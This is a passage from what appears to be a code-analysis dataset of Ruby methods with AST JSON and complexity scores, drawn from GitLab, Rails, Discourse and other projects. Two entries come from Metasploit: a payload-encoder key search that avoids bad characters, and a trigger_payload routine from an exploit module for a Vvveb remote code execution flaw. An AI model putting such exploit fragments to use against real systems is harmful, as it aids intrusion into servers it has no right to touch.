end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usernames_to_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usernames\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"usernames\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"/users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"82278c69-a0cc-407e-85f1-f6c011ef08b4"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli.rb","start_line":143,"raw_source":"def validate_options_vs_config\n return unless @options[:parallel] && !@config_store.for_pwd.for_all_cops['UseCache']\n\n raise OptionArgumentError, '-P/--parallel uses caching to speed up execution, so combining ' \\\n 'with AllCops: UseCache: false is not allowed.'\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_options_vs_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parallel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config_store\"]},\"for_pwd\"]},\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UseCache\"]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OptionArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-P/--parallel uses caching to speed up execution, so combining \"]},{\"type\":\"str\",\"children\":[\"with AllCops: UseCache: false is not allowed.\"]}]}]}]}]}","id":"dd7acd0f-e384-4243-899c-511e7f7e25f0"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/streaming/payload_processing.rb","start_line":22,"raw_source":"def extract_json_payload(payload)\n json_start = payload.index('{')\n json_end = payload.rindex('}')\n payload[json_start..json_end]\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_json_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"index\",{\"type\":\"str\",\"children\":[\"{\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_end\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"}\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_start\"]},{\"type\":\"lvar\",\"children\":[\"json_end\"]}]}]}]}]}","id":"f2351236-c884-4cf4-b547-c29df2076556"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/7_prometheus_metrics.rb","start_line":18,"raw_source":"def prometheus_metrics_dir\n ENV['prometheus_multiproc_dir'] || metrics_temp_dir\nend","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prometheus_metrics_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"prometheus_multiproc_dir\"]}]},{\"type\":\"send\",\"children\":[null,\"metrics_temp_dir\"]}]}]}","id":"174af834-a604-48ba-a3e9-34a0e46f68b2"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-local-dates/spec/system/page_objects/modals/insert_date_time.rb","start_line":17,"raw_source":"def select_from\n find(\".date-time-control.from\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_from\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".date-time-control.from\"]}]},\"click\"]}]}","id":"1c84f7f2-a624-4cb4-8b0f-0d52fa77de8e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/encoder.rb","start_line":494,"raw_source":"def find_key(buf, badchars, state)\n # Otherwise, we use the traditional method\n key_bytes = [ ]\n cur_key = [ ]\n bad_keys = find_bad_keys(buf, badchars)\n found = false\n allset = [*(0..255)]\n\n # Keep chugging until we find something...right\n while (!found)\n # Scan each byte position\n 0.upto(decoder_key_size - 1) { |index|\n\n # Subtract the bad and leave the good\n good_keys = allset - bad_keys[index].keys\n\n # Was there anything left for this index?\n if (good_keys.length == 0)\n # Not much we can do about this :(\n return nil\n end\n\n # Set the appropriate key byte\n key_bytes[index] = good_keys[ rand(good_keys.length) ]\n }\n\n # Assume that we're going to rock this...\n found = true\n\n # Scan each byte and see what we've got going on to make sure\n # no funny business is happening\n key_bytes.each { |byte|\n if (badchars.index(byte.chr) != nil)\n found = false\n end\n }\n\n found = find_key_verify(buf, key_bytes, badchars) if found\n end\n\n # Do we have all the key bytes accounted for?\n if (key_bytes.length != decoder_key_size)\n return nil\n end\n\n return key_bytes_to_integer(key_bytes)\n end","complexity_score":50.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]},{\"type\":\"arg\",\"children\":[\"badchars\"]},{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_bytes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cur_key\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"bad_keys\",{\"type\":\"send\",\"children\":[null,\"find_bad_keys\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"allset\",{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[255]}]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[0]},\"upto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decoder_key_size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"good_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allset\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bad_keys\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"keys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"good_keys\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_bytes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"good_keys\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"good_keys\"]},\"length\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_bytes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"byte\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badchars\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte\"]},\"chr\"]}]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"send\",\"children\":[null,\"find_key_verify\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"lvar\",\"children\":[\"key_bytes\"]},{\"type\":\"lvar\",\"children\":[\"badchars\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_bytes\"]},\"length\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"decoder_key_size\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_bytes_to_integer\",{\"type\":\"lvar\",\"children\":[\"key_bytes\"]}]}]}]}]}","id":"fe45a56b-771d-44ff-9568-e90447f724fe"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/reporting/formatter/timeline_message.rb","start_line":121,"raw_source":"def resource_name\n if @db == 'BottleneckEvent'\n db = if ems_cloud && @event.resource_type == 'ExtManagementSystem'\n 'ems_cloud'\n elsif @event.resource_type == 'ExtManagementSystem'\n 'ems_infra'\n else\n \"#{@event.resource_type.underscore}/show\"\n end\n \"<a href=/#{db}/#{@event.resource_id}>#{@event.resource_name}</a>\"\n end\n end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"==\",{\"type\":\"str\",\"children\":[\"BottleneckEvent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ems_cloud\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"resource_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ExtManagementSystem\"]}]}]},{\"type\":\"str\",\"children\":[\"ems_cloud\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"resource_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ExtManagementSystem\"]}]},{\"type\":\"str\",\"children\":[\"ems_infra\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"resource_type\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"/show\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"resource_id\"]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"resource_name\"]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]}]},null]}]}","id":"cac60b3f-3f97-4aac-8684-2ce2b4dc407e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bulk_imports_controller.rb","start_line":126,"raw_source":"def configure_params\n params.permit(access_token_key, url_key)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"send\",\"children\":[null,\"access_token_key\"]},{\"type\":\"send\",\"children\":[null,\"url_key\"]}]}]}","id":"2268b5e3-82e1-4b2d-ac75-16efcc0464a8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/workers/concerns/reenqueuer_shared_examples.rb","start_line":106,"raw_source":"def time_travel_during_perform(actual_duration)\n # Save the original implementation of ensure_minimum_duration\n original_ensure_minimum_duration = subject.method(:ensure_minimum_duration)\n\n allow(subject).to receive(:ensure_minimum_duration) do |minimum_duration, &block|\n original_ensure_minimum_duration.call(minimum_duration) do\n # Time travel inside the block inside ensure_minimum_duration\n travel_to(actual_duration.from_now) if actual_duration && actual_duration > 0\n end\n end\n end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"time_travel_during_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual_duration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_ensure_minimum_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"method\",{\"type\":\"sym\",\"children\":[\"ensure_minimum_duration\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"subject\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"ensure_minimum_duration\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"minimum_duration\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_ensure_minimum_duration\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"minimum_duration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_duration\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual_duration\"]},\"from_now\"]}]},null]}]}]}]}]}","id":"d08750b0-a3fc-41f2-8a60-17089eed43b1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/semgrep_result_processor.rb","start_line":47,"raw_source":"def initialize(report_path = \"#{ENV['CI_PROJECT_DIR']}/gl-sast-report.json\")\n @artifact_relative_path = report_path\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"report_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_PROJECT_DIR\"]}]}]},{\"type\":\"str\",\"children\":[\"/gl-sast-report.json\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@artifact_relative_path\",{\"type\":\"lvar\",\"children\":[\"report_path\"]}]}]}","id":"e48cf98e-7602-4f1a-aa5b-bdbd87ded23e"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/zone.rb","start_line":176,"raw_source":"def state_list\n case kind\n when 'country'\n zoneables.map(&:states)\n when 'state'\n zoneables\n end.flatten.compact.uniq\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"state_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kind\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"country\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zoneables\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"states\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[null,\"zoneables\"]}]},null]},\"flatten\"]},\"compact\"]},\"uniq\"]}]}","id":"f19b5882-ed6d-419d-956e-49a1b98cb700"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb","start_line":189,"raw_source":"def trigger_payload(_theme_path)\n print_status('Triggering payload...')\n\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'method' => 'GET',\n 'vars_get' => {\n 'module' => 'editor/editor',\n 'url' => '/',\n 'template' => 'index.html'\n }\n )\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_theme_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"editor/editor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"index.html\"]}]}]}]}]}]}]}]}","id":"f1c11980-96c2-4c32-92b7-f49790099df8"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/create_message.rb","start_line":271,"raw_source":"def publish_user_tracking_state(message_instance:, channel:, membership:, guardian:)\n message_to_publish = message_instance\n message_to_publish =\n membership.last_read_message || message_instance if message_instance.in_thread?\n Chat::Publisher.publish_user_tracking_state!(guardian.user, channel, message_to_publish)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_user_tracking_state\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"message_instance\"]},{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwarg\",\"children\":[\"membership\"]},{\"type\":\"kwarg\",\"children\":[\"guardian\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_to_publish\",{\"type\":\"lvar\",\"children\":[\"message_instance\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_instance\"]},\"in_thread?\"]},{\"type\":\"lvasgn\",\"children\":[\"message_to_publish\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"last_read_message\"]},{\"type\":\"lvar\",\"children\":[\"message_instance\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"publish_user_tracking_state!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"message_to_publish\"]}]}]}]}","id":"854d6daa-e5fa-44a4-8f6e-db6362f0c4f4"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meeting_participants/create_contract.rb","start_line":50,"raw_source":"def user_can_see_meetings_in_project\n return if model.user.nil? || model.meeting.nil?\n\n unless model.user.allowed_in_project?(:view_meetings, model.meeting.project)\n errors.add(:user, :invalid_user, name: model.name)\n end\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_can_see_meetings_in_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"meeting\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_meetings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"meeting\"]},\"project\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"invalid_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]}]}]}]}]}]}","id":"a4b89c18-dc00-41b8-b72d-11ae41104405"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":52,"raw_source":"def matches?(req)\n @constraints.all? do |constraint|\n (constraint.respond_to?(:matches?) && constraint.matches?(req)) ||\n (constraint.respond_to?(:call) && constraint.call(*constraint_args(constraint, req)))\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@constraints\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constraint\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"matches?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"matches?\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint\"]},\"call\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"constraint_args\",{\"type\":\"lvar\",\"children\":[\"constraint\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]}]}]}]}]}]}","id":"09f0ab96-92c1-43d1-994d-e1e5326fa796"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/glql_slis.rb","start_line":27,"raw_source":"def record_apdex(labels:, success:)\n Gitlab::Metrics::Sli::Apdex[:glql].increment(labels: labels, success: success)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_apdex\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"labels\"]},{\"type\":\"kwarg\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"Apdex\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"glql\"]}]},\"increment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}]}]}","id":"25044788-b81e-4b96-8c31-999beb36700a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/middleware/go_spec.rb","start_line":327,"raw_source":"def expect_response_with_path(response, protocol, path, url_based: false)\n root_url = url_based ? Gitlab.config.gitlab.url.gsub(%r{\\Ahttps?://}, '') : Gitlab.config.gitlab.host\n\n repository_url = case protocol\n when :ssh\n shell = Gitlab.config.gitlab_shell\n \"ssh://#{shell.ssh_user}@#{shell.ssh_host}/#{path}.git\"\n else\n \"http://#{root_url}/#{path}.git\"\n end\n\n expect(response[0]).to eq(200)\n expect(response[1]['Content-Type']).to eq('text/html')\n expected_body = %(<html><head><meta name=\"go-import\" content=\"#{root_url}/#{path} git #{repository_url}\"></head><body>go get #{root_url}/#{path}</body></html>)\n expect(response[2]).to eq([expected_body])\n end","complexity_score":39.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_response_with_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"protocol\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"url_based\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_url\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_based\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\Ahttps?://\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"repository_url\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssh\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shell\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab_shell\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ssh://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"